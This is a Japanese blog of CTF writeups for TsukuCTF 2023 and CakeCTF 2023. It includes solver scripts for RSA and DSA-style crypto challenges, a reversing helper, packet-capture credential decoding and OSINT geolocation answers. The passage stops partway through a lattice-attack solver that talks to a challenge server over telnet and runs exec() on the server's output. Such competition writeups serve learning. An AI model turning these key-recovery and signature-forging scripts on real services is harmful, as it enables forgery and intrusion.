from Crypto.Util.number import  *
import gmpy2

r = 103223593878323616966427038558164830926502672938304332798494105455624811850665520007232855349275322661436610278579342219045141961390918581096853786570821153558254045159535424052709695034827346813080563034864500825268678590931984539859870234179994586959855078548304376995608256368401270715737193311910694875689
n = 90521376653923821958506872761083900256851127935359160710837379527192460953892753506429215845453212892652253605621731883413509776201057002264429057442656548984456115251090306646791059258375402999471135320210755348861434045380328105743420902906907790808856692202001235875364637226136825102255804354305482559609
e = 65537
c = 39668573485152693308506976557973651059962715190609831067529475947235507499262380684639847018675763554013384459402806860854682788726216001229367497152996318350435451964626471390994912819484930957099855090471916842543402636518804720798852670908465424119746453269056516567591615005540824659735238630769424838121
s = 47973982866708538282860872778400091099562248899259778360037347668440286307912908903978215839469425552581036546347166946878631770320447658019243172948791127890920650587484602734465156455346574205060576092006378013418405134156752490431761037178223087071698840062913540185985867322265081768252745826955229941850

F = GF(r)
ts = F(s).nth_root(8, all=True)

for t in ts:
  D = int(t**2 - 4*n)
  sqrt_D = int(gmpy2.isqrt(D))
  p = int((t + sqrt_D)//2)
  q = int((t - sqrt_D)//2)
  if isPrime(p) and isPrime(q):
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    print(long_to_bytes(int(pow(c,d,n))))

↓実際に使ったソルバ「solve2.sage」*3

from Crypto.Util.number import  *
import gmpy2

r = 103223593878323616966427038558164830926502672938304332798494105455624811850665520007232855349275322661436610278579342219045141961390918581096853786570821153558254045159535424052709695034827346813080563034864500825268678590931984539859870234179994586959855078548304376995608256368401270715737193311910694875689
n = 90521376653923821958506872761083900256851127935359160710837379527192460953892753506429215845453212892652253605621731883413509776201057002264429057442656548984456115251090306646791059258375402999471135320210755348861434045380328105743420902906907790808856692202001235875364637226136825102255804354305482559609
e = 65537
c = 39668573485152693308506976557973651059962715190609831067529475947235507499262380684639847018675763554013384459402806860854682788726216001229367497152996318350435451964626471390994912819484930957099855090471916842543402636518804720798852670908465424119746453269056516567591615005540824659735238630769424838121
s = 47973982866708538282860872778400091099562248899259778360037347668440286307912908903978215839469425552581036546347166946878631770320447658019243172948791127890920650587484602734465156455346574205060576092006378013418405134156752490431761037178223087071698840062913540185985867322265081768252745826955229941850

F = GF(r)
t1 = F(s).sqrt()

t1s = [t1, -t1]
t2s = []
ts = []

for t in t1s:
  t2 = F(t).sqrt()
  t2s.append(t2)
  t2s.append(-t2)

for t in t2s:
  t3 = F(t).sqrt()
  ts.append(t3)
  ts.append(-t3)

for t in ts:
  D = int(t**2 - 4*n)
  sqrt_D = int(gmpy2.isqrt(D))
  p = int((t + sqrt_D)//2)
  q = int((t - sqrt_D)//2)
  if isPrime(p) and isPrime(q):
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    print(long_to_bytes(int(pow(c,d,n))))

フラグ

TsukuCTF23{Welcome_to_crypto!}

 ちなみに、3rd blood でした。welcome 問蹴ってこの有様です。当人はともかく、傍から見たら「面白い」ですよね…

2.2. title_screen(rev, 487pts, 38solves)

設問

 以下の 3 ファイルが与えられます。「プログラムで、起動時にタイトルに表示される文字」が答えとなります。

「character.bmp

「main.asm」

.setcpu        "6502"
.autoimport   on

PPU_ADDR1    =   $0001
PPU_ADDR2    =   $0002

PPU_STATUS   =   $2002

.segment "HEADER"
    .byte $4E, $45, $53, $1A
    .byte $02
    .byte $01
    .byte $01
    .byte $00
    .byte $00, $00, $00, $00
    .byte $00, $00, $00, $00

.segment "STARTUP"
.proc Reset
    sei
    ldx #$ff
    txs
    clc
    cld
    
    lda #$00
    sta $2000
    sta $2001
    sta $2005
    sta $2006
    
    lda $4015
    and #%11111110
    sta $4015

    lda PPU_STATUS
    lda #$00
    sta $2000
    sta $2001

    lda #$00
    ldx #$00

clear_memory:
    sta $0000, X
    sta $0100, X
    sta $0200, X
    sta $0300, X
    sta $0400, X
    sta $0500, X
    sta $0600, X
    sta $0700, X
    inx
    cpx #$00
    bne clear_memory

    lda #$20
    sta $2006
    lda #$00
    sta $2006
    lda #$00
    ldx #$00
    ldy #$04

clear_vram_loop:
    sta $2007
    inx
    bne clear_vram_loop
    dey
    bne clear_vram_loop

    lda  #$3F
    sta  $2006
    lda  #$00
    sta  $2006
    ldx  #$00
    ldy  #$10

setpal:
    lda  palettes, x
    sta  $2007
    inx
    dey
    bne  setpal
    
    lda  #$20
    sta  $2006
    lda  #$00
    sta  $2006

    ldy #0
    jsr set_row

    jmp mapping1

mapping1:
    ldy  #11
    ldx  #$00
    lda  #$8c
mapping1_y_loop:
    jsr set_row
    ldx #05
    jsr set_col
    ldx #$14
mapping1_x_loop:
    sta  $2007
    dex
    bne  mapping1_x_loop

    iny
    cpy #16
    bne mapping1_y_loop


mapping2:
    ldy  #13
    jsr set_row
    ldx #08
    jsr set_col
    ldx #00
    ldy #14
mapping2_x_loop:
    lda  data, x
    sta  $2007
    inx
    dey
    bne  mapping2_x_loop


screenend:
    lda  #$00
    sta  $2005
    sta  $2005

    lda  #$08
    sta  $2000
    lda  #$1e
    sta  $2001

loop:
    jmp  loop

set_row:
    pha

    tya
    lsr a
    lsr a
    lsr a
    clc
    adc #$20
    sta  PPU_ADDR1

    tya
    asl a
    asl a
    asl a
    asl a
    asl a
    sta  PPU_ADDR2

    lda  PPU_ADDR1
    sta  $2006
    lda  PPU_ADDR2
    sta  $2006

    pla
    rts

set_col:
    pha

    txa
    adc PPU_ADDR2
    sta  PPU_ADDR2

    lda  PPU_ADDR1
    sta  $2006
    lda  PPU_ADDR2
    sta  $2006

    pla
    rts

.endproc

palettes:
    .byte $01, $18, $39, $30
    .byte $0f, $06, $16, $26
    .byte $0f, $08, $18, $28
    .byte $0f, $0a, $1a, $2a

data:
    .byte $22, $a4, $39, $26, $39
    .byte $a4, $55, $79, $bb, $4c
    .byte $39, $c7, $a4, $d1, $8c

.segment "VECINFO"
    .word $0000
    .word Reset
    .word $0000

.segment "CHARS"
    .incbin "character.chr"

「main.cfg」

MEMORY {
    HEADER:       start = $0000, size = $0010, file = %O, fill = yes;
    ROMST:        start = $8000, size = $7ffa, type = ro, file = %O, fill = yes, define = yes;
    ROMINFO:      start = $fffa, size = $0006, type = ro, file = %O, fill = yes, define = yes;
    ROMCHR:       start = $0000, size = $2000, type = rw, define = yes;

}

SEGMENTS {
    HEADER:       load = HEADER,       type = ro;
    STARTUP:      load = ROMST,        type = ro,    define = yes;
    VECINFO:      load = ROMINFO,      type = ro,    define = yes;
    CHARS:        load = ROMCHR,       type = rw;
}

FEATURES {
    CONDES: segment = RODATA,
        type = constructor,
        label = __CONSTRUCTOR_TABLE__,
        count = __CONSTRUCTOR_COUNT__;
    CONDES: segment = RODATA,
        type = destructor,
        label = __DESTRUCTOR_TABLE__,
        count = __DESTRUCTOR_COUNT__;
}

検討

 まともに動かそうとすると大変そうなのですが、

data:
    .byte   $22, $a4, $39, $26, $39
    .byte   $a4, $55, $79, $bb, $4c
    .byte   $39, $c7, $a4, $d1, $8c

のあたり、何か匂います。ヒントで「キャラクターは8x8ピクセルを1ブロックとして並べられます。」とあることから、この値がブロックの位置を示すのではないか、と Guess します。*4

解法

 とりあえず、上の Guess を確かめるべく画像を順番に切り出して、名前を付けて保存するプログラムを作成してみます。*5

「solve.py」

import cv2
import numpy as np

img = cv2.imread('character.bmp')
H_MAX = 128
W_MAX = 128
CELL_SIZE = 8
cells = {}
cnt = 0

for _h in range(0, H_MAX, CELL_SIZE):
  for _w in range(0, W_MAX, CELL_SIZE):
    cells[cnt] = img[_h:_h+CELL_SIZE, _w:_w+CELL_SIZE]
    cnt += 1

ind = [0x22, 0xa4, 0x39, 0x26, 0x39, 0xa4, 0x55, 0x79, 0xbb, 0x4c, 0x39, 0xc7, 0xa4, 0xd1, 0x8c]

img_result = np.zeros((CELL_SIZE, CELL_SIZE * len(ind), 3))

for i in range(len(ind)):
  cv2.imwrite(str(i) + '.bmp', cells[ind[i]])

フラグ

TsukuCTF23{Tsukushi_Quest}

 まともに asm を読んでおらず、テキトーな Guess によって正解にたどり着いてしまったところが面白ポイントです。

2.3. build_error(misc, 476pts, 50solves)

設問

 Makefileと、main.o、one.o という 2 つの実行形式(ELF)ファイルが与えられます。

 ビルドして標準出力からフラグを入手せよ、とありますが、ビルドがそう簡単に成功するかどうか怪しい。。。

Makefile

.PHONY: all

all:main.o one.o
    $(CC) main.o one.o -no-pie
    

検討

 頑張ってビルドする方向ではなく、静的解析をすることにします。そっちの方が楽そうなので。

 とりあえず、IDA Free で疑似コードを生成してみます。

「main.txt」

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-2Ch]
  __int64 v5; // [rsp+8h] [rbp-28h]
  __int64 v6; // [rsp+10h] [rbp-20h]
  __int64 v7; // [rsp+18h] [rbp-18h]
  __int64 v8; // [rsp+20h] [rbp-10h]

  v5 = 12LL;
  v6 = 11LL;
  v7 = 75LL;
  one_init(argc, argv, envp);
  for ( i = 0; v6 > i; ++i )
  {
    if ( v5 > i )
      ++v7;
    if ( v7 < i )
      ++v6;
    ++v5;
  }
  v8 = v6 + v5 + v7;
  if ( v8 == b + a + c )
    printf("flag is %ld\n", v8);
  else
    puts("please retry");
  return 0;
}

「one.txt」

__int64 one_init()
{
  __int64 result; // rax
  int i; // [rsp+0h] [rbp-4h]

  a = 12LL;
  b = 11LL;
  c = 75LL;
  for ( i = 0; ; ++i )
  {
    result = b;
    if ( i >= (unsigned __int64)b )
      break;
    if ( i < (unsigned __int64)a )
      ++c;
    if ( c < (unsigned __int64)i )
      ++b;
    ++a;
  }
  return result;
}

 これを見ると、main.txt の「v8」の値を計算すれば良さそうです。

解法

 疑似コードをもとに、「v8」の値を計算してみました。

「solve.py」

v5 = 12;
v6 = 11;
v7 = 75;

for i in range(v6):
  if v5 > i :
    v7 +=1
  if v7 < i :
    v6 += 1
  v5 += 1

v8 = v6 + v5 + v7;

print(v8)
#120

フラグ

TsukuCTF23{120}

 「動的解析が苦手で、すぐ静的解析したがる」という "悪い癖" が珍しく功を奏した、という点が面白ポイントです。

2.4. TrainWindow(osint, 394pts, 104solves)

設問

「夏、騒音、車窓にて。フラグのフォーマットは、TsukuCTF23{緯度_経度}です。緯度経度は小数第五位を切り捨てとします。」

検討

 既視感のある車窓の風景です。*6

 海に浮かんで見える島は何となく「初島」っぽいです。しかし似たような風景はほかにもあるでしょう。ですので、断言はできません。

 そこで問題文に目を戻すと・・・騒音!?・・・昔乗った「踊り子号」*7の騒音!!そういうことか!!*8・・・これで確信しました。これは熱海の近く、島の角度的には熱海から先、伊東線に違いない!

 そう確信して、Youtubeの適当な車窓モノ(前面を撮影したいわゆる展望ビデオではなく、海側車窓を映したもの)を見ながらGoogle Mapと照らし合わせ、場所を推定することにしました。

解法

 Youtubeに上がっている、来宮-伊豆多賀間の車窓ビデオを見て場所を推定することにしました。

 踏切のタイミングやStreet Viewへの切り替えなどから場所を特定し、Google Map上でマウスをクリックします。その時のURLから緯度・経度の情報を収集できます。

https://www.google.com/maps/place/%E9%9D%99%E5%B2%A1%E7%9C%8C%E7%86%B1%E6%B5%B7%E5%B8%82/@35.0640595,139.0664555,63m/data=!3m1!1e3!4m6!3m5!1s0x6019bedfe3859a9d:0xc7ce80b39564208e!8m2!3d35.0963896!4d139.071784!16zL20vMDF3bGNt?entry=ttu

フラグ

TsukuCTF23{35.0640_139.0664}

 特徴的な建物ではなく、Youtubeの車窓ビデオから場所を特定したこと、そして伊東線と推測するに至る要因が「電車の騒音」だった、という点が面白ポイントです。

3. 簡易Writeup

 以下、ほぼ蛇足なのですが、解けた問題のうち pick up から漏れたものについて簡易 Writup*9 を残しておきます。

3.1. welcome(tsukushi)

 Discord からコピペ。大会によっては、welcome 問でも一捻りしてある場合があるので油断ならないが今回はセーフ。

TsukuCTF23{TsukuCTF_is_back_again_in_2023!}

3.2. basic(web)

 WiresharkTCPパケットを追跡。basic 認証のため送信されている base64文字列「YWRtaW46MjkyOWIwdTQ=」をデコードしてパスワード該当部分を答えれば OK。

TsukuCTF23{2929b0u4}

3.3. what_os(misc)

 ディストリビューションまで特定するのか粒度がわからなかったのでとりあえず「Linux」と解答したがで不正解。「unix」と解答して正解。

TsukuCTF23{unix}

3.4. content_sign(misc)

 ググってみると、アドビが推奨するコンテンツ認証機能を利用していることがわかる。以下のサイトで署名の状況を確認可能であるが、日時の「秒」が見えないので元画像の中をバイナリエディタで確認。

https://contentcredentials.org/verify

TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}

3.5. airport(osint)

 Google Lensで検索をかけると「伊丹空港」の文字が散見されることから、設問の指示に従いIATAコード「ITM」を解答。

TsukuCTF23{ITM}

3.6. castle(osint)

 Google Lensで検索をかけると、ドンピシャでヒットし、太陽公園の白鳥城であることがわかる。

TsukuCTF23{34.886_134.630}

3.7. eruption(osint)

 画像内に日付情報が埋め込まれていたが、改ざんも考えられるので念のため過去のニュースを検索し確認した。

TsukuCTF23{2022/01/28}

3.8. location_for_what(osint)

 これもGoogle Lensで検索をかけると「言の葉の庭」が散見された。

TsukuCTF23{言の葉の庭}

3.9. green_bridge(osint)

 これもGoogle Lensでイイ感じに当該橋が写っている写真がヒットし、それらを掲載しているブログ等から名称等を確認し位置を特定した。

TsukuCTF23{36.956_139.880}

3.10. perfume(osint)

 これもGoogle Lensで検索、同一被写体を撮影した写真を発見して施設名(大分香りの博物館)を特定。

TsukuCTF23{33.311_131.488}

3.11. mab(osint)

 aguse で「mab.main.jp」を検索。

TsukuCTF23{lolipop.jp}

3.12. tsukushi_estate(osint)

 「合同会社つくし不動産」の Web サイトで貸事務所っぽい物件を検索。「伊勢SIビル」であると特定。同サイトに記載されている建築年月を解答。

TsukuCTF23{1983_03}

3.13. travel_with_tsukushi(osint)

 Google Lensで検索をし、機体から判明する航空会社名をヒントにググってみるとマレーシアのクアラルンプール空港が有力候補として出てきたので解答。

TsukuCTF23{KUL}

3.14. kiZOU(osint)

 写真の中の文字から、店舗は「au style 那覇」と分かる。件の像はパレット久茂地前のシーサー。

 シーサーを探求されている方による X(Twitter)の投稿から寄贈者が判明。

https://x.com/kintaro11111/status/1082234341361504256

TsukuCTF23{上原清善}

3.15. big_statue(osint)

 写真中に写っている文字「榴莲王 利陞」を手掛かりにググると同じ像の写真(ほぼ逆側から撮ったもの)などがヒットする。それらをヒントに像の位置を特定。

TsukuCTF23{1.3623_103.8872}

3.16. CtrlAltPrtSc(osint)

 最初は全く見当が付かなかったが、赤いアイコンとその右のドット配置から Youtube と推測。

TsukuCTF23{YouTube}

3.17. free_rider(osint)

 X(Twitter)の投稿から元動画の URL を把握。再 up されている動画があったので、そこから時間(秒数)を算出。

TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}

3.18. flower_bed(osint)

 一部隠れたQRコードがあるがそれは一旦忘れ、読み取れる英文・和文から場所を特定(旧福岡県公会堂貴賓館)。「FUKUOKA」モニュメントの存在が浮上するので画像を検索すると、読み取り可能なQRコードを得られそこからURLを取得。

TsukuCTF23{http://www.fukuokaken-kihinkan.jp}

4. 解けなかった問題

 さらなる蛇足として、解けなかった問題について簡単に状況を記しておきます。もう少しで解けそうだったものから全然ワカランというものまで、状況は様々でした。

4.1. MEMOwow(web)

 問題セットを回収したが、見当が付かずパス。

4.2. EXECpy(web)

 問題セットを回収したが、面倒くさそうで見当も付かないなのでパス。

4.3. laser(osint)

 直感で「スカイツリー」と決めつけていたがハズレ。その後手掛かりを得られず。

4.4. 3636(osint)

 ドメインと電話番号から「とうみょう子ども園」と推測したが、肝心の看板が見つからなかった。無念。

4.5. Yuki(osint)

 直感で「日光」と決めつけていたが、その後手掛かりを得られず。

4.6. tsukushi_no_kuni(osint)

 「国造」が誰のことかわからずそのまま。

4.7. river(osint)

 newgin の看板から、同社の Web サイトから拠点を探し鹿児島にたどり着いたのは 19:40 過ぎ、競技終了後であった*10。残念。

4.8. broken_display(osint)

 L'OCCITANE のサインを頼りに検索するも発見に至らず。「西宮阪急」が浮上するも「西宮ガーデンズ」が出なかった。この問題で大分時間を溶かした。

4.9. stickers(osint)

 「なつかしの熱海プリン」の車から熱海近辺と推測するが、そこまで。

4.10. RegexCrossword(osint)

 面白そうと思ったが、面倒くさそうなのでパス。作った会社の電話番号なので別のアプローチがあったかも。

4.11. koi(osint)

 皿の模様を手掛かりに「食べログ」の写真を検索するも、発見に至らず。

4.12. grass_court(osint)

 枯れ木に掛かっている謎のキャラクターが気になるも、未着手のまま。

4.13. fiction(osint)

 ゲームの世界が題材となっており斬新だが、ゲーム世界が OSINT 対象かどうかについては異論もあるかと思う*11

4.14. hunter(osint)

 メアド(@より前)は総当たりで「qeinijo.iby8」と推定したが、その先の情報は得られず。

4.15. twin(osint)

 これも手つかず。タイトルからは「双子」を推測したがそれだけでは。。。

4.16. sunset(osint)

 場所の見当が付かなかったので勝手に「11/19 SecHack365第4回イベント」とかなりイイカゲンに推測、同日の日の入り日時を送るもハズレ。3回しかトライできないことにこの時初めて気づきショック!以降手つかずのまま。

4.17. udon_2023(osint)

 ただひたすらに、鳥天がおいしそうでした。うどんも麺のコシがあって良さげです。*12

5. 振り返り(反省会)

  • 😄Good:Crypto と Rev 全完*13
  • 😣Bad :CTF 経験もそこそこ長くなってきたのに Web ほぼ壊滅で、OSINT もあまり解けていない。
  • 😞反省:環境不備(古いツールは使用停止!)。

6. おわりに

 最後になりましたが、運営の皆様・対戦してくださった皆様、楽しい CTF をありがとうございました*14。SecHack365の枠組み有無にかかわらず、今回運営に携わられた方々には、次回の開催もぜひご検討いただけるとありがたいです。

*1:いつものとおりソロ参加です。

*2:ほとんどソロ参加なので、チームプレイ自体ごく稀ではありますが。

*3:実際に競技で使ったものを、汚いままですが掲載します。

*4:こういうやつを「Guess の勘繰り」と言います(言わない)。

*5:競技中、最初は縦横逆に計算してしまいすぐ修正ました。

*6:個人の感想です。

*7:国鉄時代に製造された185系電車。あれは確かにウルサイが、だがそれがいい

*8:作問者の意図なのかどうか、答え合わせをしてみたいところです。

*9:メモ程度のものです。

*10:しかも、経度が0.001ズレていた

*11:個人的にはどちらかというと否定的で、カテゴライズは「misc+osint」とでもしておけば良かった気がします。とは言え、架空世界を取り扱うというアイデア自体はとても面白いと思います。

*12:TsukuCTF23 参加者が近日中にこの店舗を訪問する可能性は極めて大きいと思われるため、誰かの Writeup を読んで場所・店名を特定の上、少し時間をおいてから訪問したいと思います。

*13:どちらも解きやすい問題 1 問ずつですが。

*14:SecHack365は自体は若年層向けのものですが、今回のような年齢性別不問で参加できるイベントの開催は素晴らしいことだと思います。

CakeCTF 2023 参戦記+lightなwriteup

1. はじめに

 2023/11/11(土)14:00 JST ~ 11/12(日)14:00 JST に開催された「CakeCTF 2023」にチーム「N30Z30N」で参加しました。

 Cake CTF はチーム「insecure」により運営される大会で、「InterKosenCTF」をその由緒としています。「カジュアルな CTF」を掲げていますが、「むしろレーティングするべきでは?」という声が随所で聞かれるほど良問が揃っていることで有名です。

 実際、この大会に出ると(問題が解けなくても)不思議と元気が出てきます*1

 今回、TSG CTF 2023 から「中 6 日での登坂」でしたが、Warmup + Survey を除き 5問 を解いて 960pts(38th / 729 teams)を獲得しました。InterKosenCTF の頃から毎度下位に甘んじていたのですが、今回は少しマシ*2になったような気がします。

2. 参戦準備(脳内作戦会議)

 昨年は whole cake を準備して意気込んでからの「ケーキ全完でほぼ虚無」*3をやらかしたので、今年は「競技中はケーキ抜き」で臨みました。

 CakeCTF では「超自明な問題」は皆無ですが、「手ごたえがあるけど頑張れば解ける問題」*4はある程度出ることが予想されたため、目標は「Crypto 全完、他分野は Warmup + 1 完以上」に設定。

 また、競技時間は TSG CTF 2023 よりも 2 時間早いスタートなので、2 日目に時間切れで泣く可能性が高いと考え、食事や睡眠の時間配分やタイミングを調整することにしました。  

3. 参戦状況

  • 11/11 10:40(JST) 頃 TSC CTF 2023 参戦記投稿*5。体力消耗が激しい。
  • 11/11 12:00(JST) 頃 昼食(おにぎりセット+サラダ+ゲン担ぎのカツ)。*6
  • 11/11 12:55(JST) 頃 食い過ぎて眠くなったのでお昼寝タイム。
  • 11/11 13:55(JST) 頃 目覚ましで飛び起きる。
  • 11/11 14:00(JST) 競技開始。
  • 11/11 14:05(JST) 頃 「Welcome」フラグゲット。
  • 11/11 15:30(JST) 頃 やや苦戦しながら「simple signature」フラグゲット。
  • 11/11 16:00(JST) 頃 「janken vs yoshiking 2」に着手*7
  • 11/11 17:40(JST) 頃 「Iron Door」、LLL を使うお気持ちになる*8
  • 11/11 18:00(JST) 頃 名探偵コナン視聴(プレイは続行)。
  • 11/11 19:00(JST) 頃 夕食。昼の反省から腹八分目に。
  • 11/11 20:00(JST) 頃 休憩タイム。
  • 11/11 20:10(JST) 頃 「janken vs yoshiking 2」、行列式でいいじゃん、と思い立って休憩終了。
  • 11/11 21:35(JST) 頃 「janken vs yoshiking 2」フラグゲット。
  • 11/12 00:25(JST) 頃 「ding-dong-ting-ping」フラグゲット。「リポDプレミアム」をキメる。
  • 11/12 00:35(JST) 頃 「Country DB」フラグゲット。眠気が限界に。
  • 11/12 01:10(JST) 頃 「Survey」フラグゲット。
  • 11/12 02:00(JST) 頃 「Iron Door」の解法を考えながら就寝。
  • 11/12 07:30(JST) 頃 起床。「Iron Door」の続きを始める。LLL の行列作るの苦手すぎ。
  • 11/12 09:00(JST) 頃 遅めの朝食*9。エネルギーは十分補給。
  • 11/12 10:00(JST) 頃 「Iron Door」、一部の値が算出できそうな兆候が見られる。
  • 11/12 12:00(JST) 頃 もぐもぐタイム(昼食)にしたいが、テスト環境でそこそこ刺さった「Iron Door」の exploit が本番で刺さらないので昼食は後回しとする。
  • 11/12 13:00(JST) 頃 残り 1 時間で気持ちに焦りが生じるもどうにか耐える。
  • 11/12 13:20(JST) 頃 どうにか「Iron Door」フラグゲット。思わず玄関から飛び出して「エウレカ」と叫びそうになった*10が近所から通報されるとシャレにならないので思い留まる。
  • 11/12 14:00(JST) 競技終了。
  • 11/13 00:00(JST) もぐもぐタイムその1。チームinsecureへのリスペクト。
  • 11/14 21:30(JST) もぐもぐタイムその2。スポンサー参加+プレイヤー参加をした自分へのご褒美。

4. 感想(お気持ち)

 ほとんど Crypto しかやっていませんが、いつもながらの「やりがいのある問題」を楽しめました。

 例年 Crypto も半分以上「食べ残して」いたのですが、今年は「pure な crypto問」は完食できました*11

 特に、時間内にどうにか Iron Door が解けて嬉しかった、というかホッとしました*12

5. Writeup(簡易)

 「エレガント」に解けた感は全くないので、Writeup は簡単な紹介のみに留めることとし、得点が多かった(Solve 数が少ない)順に紹介します(※ Welcome と Survey は除く)。   

5.1. Iron Door(304 pts, 8 solved)

設問

 以下のスクリプトと、接続先*13が提供されます。

「Server.py」

from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets
import signal


def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16)

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16)

# curl https://2ton.com.au/getprimes/random/2048

assert isPrime(p)
assert isPrime(q)

g = 3
flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}")
x = getRandomRange(0, q)
y = pow(g, x, p)
salt = secrets.token_bytes(16)


def sign(m: bytes):
    z = h1(m)
    k = inverse(h2(long_to_bytes(x + z)), q)
    r = h2(long_to_bytes(pow(g, k, p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s


def verify(m: bytes, r: int, s: int):
    z = h1(m)
    sinv = inverse(s, q)
    gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
    r2 = h2(long_to_bytes(gk))
    return r == r2

# integrity check
r, s = sign(salt)
assert verify(salt, r, s)

signal.alarm(1000)


print("salt =", salt.hex())
print("p =", p)
print("g =", g)
print("y =", y)

while True:
    choice = input("[s]ign or [v]erify:").strip()
    if choice == "s":
        print("=== sign ===")
        m = input("m = ").strip().encode()
        if b"goma" in m:
            exit()

        r, s = sign(m + salt)
        # print("r =", r) #  do you really need?
        print("s =", s)

    elif choice == "v":
        print("=== verify ===")
        m = input("m = ").strip().encode()
        r = int(input("r = "))
        s = int(input("s = "))
        assert 0 < r < q
        assert 0 < s < q

        ok = verify(m + salt, r, s)
        if ok and m == b"hirake goma":
            print(flag)
        elif ok:
            print("OK")
            exit()
        else:
            print("NG")
            exit()

    else:
        exit()

検討

 見かけ上は、前回の CakeCTF 2022 で出題された「Rock Door」のオマージュ問っぽい問題で、「Lunatic」タグが付いていなかったものの、今回のボス問と考えられる問題です。

 「Rock Door」と同じく「普通の DSA」とは異なる点があり、そこが解法への入り口となることは想像に難くありません。しかし、問題文では「鉄は岩よりも固し」と主張してきます。

 これらに鑑み、以下の点に着目する必要がありそうです。

  • z が 160bit 程度と極端に小さい。
  • kの逆元(以下、k_inv)が 200bit程度と小さい。
  • r も 200bit 程度と小さい。

 また「Rock Door」との相違点としては、

  • 署名の際には必ず salt が付く。
  • 同じ秘密鍵(x)と salt で署名を複数回実行できる。

という点がありました。このことから、問題を解くためには複数回署名を実行する必要があるものと推測できます*14

解法

 x の値が大きく、「Rook Door」と同じ手は使えません。しかし、小さい未知数があるというところからは「LLL のニオイ」が感じ取れます。

 LLL を使うには大きな x は「邪魔」なので、2 つの異なる平文から署名を作成し、未知数から x を消去することを考えます。

 そのようにして立式した関係式は未知数がすべて小さい 1 次方程式に変形できるので、うまくいきそうな気がしてきます。

 具体的には、

  • t1:= r1 * k1_inv, t2:= r2 * k2_inv
  • l12 := t1 * k2_inv, l21 := t2* k1_inv

とすると前者は約 400bit、後者は約 600bit なので法 q(2048bit)よりかなり小さく、LLL でどうにか出そうな感じがしてきます。

 テストプログラムを作成した結果、失敗するケースがあるものの、何回かに 1 回は t1、t2 がちゃんと求められるので、強行することにしました*15

 ここ最近この手の問題は無理っぽいと捨てていたのですが、今回は初手からあきらめず、テストプログラムを作ってどうすれば解けそうか試してみたのが功を奏したようです。「望みを捨てなかった者にのみ、道は開ける」というのは某大河ドラマ*16からの学びです。

 l12, l21 の算出は無理して行わず、関係式に t1, t2 を代入した後 k1_inv, k2_inv の算出を「defund-coppersmith*17」で行うことで道が開けました。

ソルバ(SageMath)

「solve.sage」 ※前述したとおり、必ず刺さるものではなく、模範解たり得ないと考えられます。

from Crypto.Util.number import *
from hashlib import sha256
import gmpy2
import telnetlib

# from https://github.com/defund/coppersmith/blob/master/coppersmith.sage 
import itertools

def small_roots(f, bounds, m=1, d=None):
  if not d:
    d = f.degree()

  R = f.base_ring()
  N = R.cardinality()
  
  f /= f.coefficients().pop(0)
  f = f.change_ring(ZZ)

  G = Sequence([], f.parent())
  for i in range(m+1):
    base = N^(m-i) * f^i
    for shifts in itertools.product(range(d), repeat=f.nvariables()):
      g = base * prod(map(power, f.variables(), shifts))
      G.append(g)

  B, monomials = G.coefficient_matrix()
  monomials = vector(monomials)

  factors = [monomial(*bounds) for monomial in monomials]
  for i, factor in enumerate(factors):
    B.rescale_col(i, factor)

  B = B.dense_matrix().LLL()

  B = B.change_ring(QQ)
  for i, factor in enumerate(factors):
    B.rescale_col(i, 1/factor)

  H = Sequence([], f.parent().change_ring(QQ))
  for h in filter(None, B*monomials):
    H.append(h)
    I = H.ideal()
    if I.dimension() == -1:
      H.pop()
    elif I.dimension() == 0:
      roots = []
      for root in I.variety(ring=ZZ):
        root = tuple(R(root[var]) for var in f.variables())
        roots.append(root)
      return roots

  return []
######################################################################

q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16)

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16)

def sign(m: bytes, x):
    z = h1(m)
    k = inverse(h2(long_to_bytes(x + z)), q)
    r = h2(long_to_bytes(pow(g, int(k), p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s

PR.<u1,u2> = PolynomialRing(Zmod(q))
bounds = (2**200,2**200)

HOST = <redacted>
PORT = <redacted>
tn = telnetlib.Telnet(HOST, PORT)

salt_hex = readline().decode().strip().replace("salt =","")
for _ in range(3):
  exec(readline())
print(f"salt = {salt_hex}")
print(f"p = {p}")
print(f"g = {g}")
print(f"y = {y}")

bsalt = bytes.fromhex(salt_hex)
print(f"salt = {bsalt}")

m = "hirake goma"
z = h1(m.encode()+bsalt)

m1 = "test1" 
z1 = h1(m1.encode()+bsalt)
m2 = "test2"
z2 = h1(m2.encode()+bsalt)

# sign m1
readuntil("[s]ign or [v]erify:")
sendline("s")
readline()
readuntil("m = ")
sendline(m1)
tmp = readline()
print(tmp)
exec(tmp)
s1 = int(s)
print(f"s1 = {s1}")

# sign m2
readuntil("[s]ign or [v]erify:")
sendline("s")
readline()
readuntil("m = ")
sendline(m2)
tmp = readline()
print(tmp)
exec(tmp)
s2 = int(s)
print(f"s2 = {s2}")

# leak t1 = r1*k_inv1, t2 = r2*k_inv2
w1 = 2**200
w2 = 2**600
M = [
     [w1,  0, 0, 0,  s2*w2],
     [ 0, w1, 0, 0, -s1*w2],
     [ 0,  0, 1, 0, -z2*w2],
     [ 0,  0, 0, 1,  z1*w2],
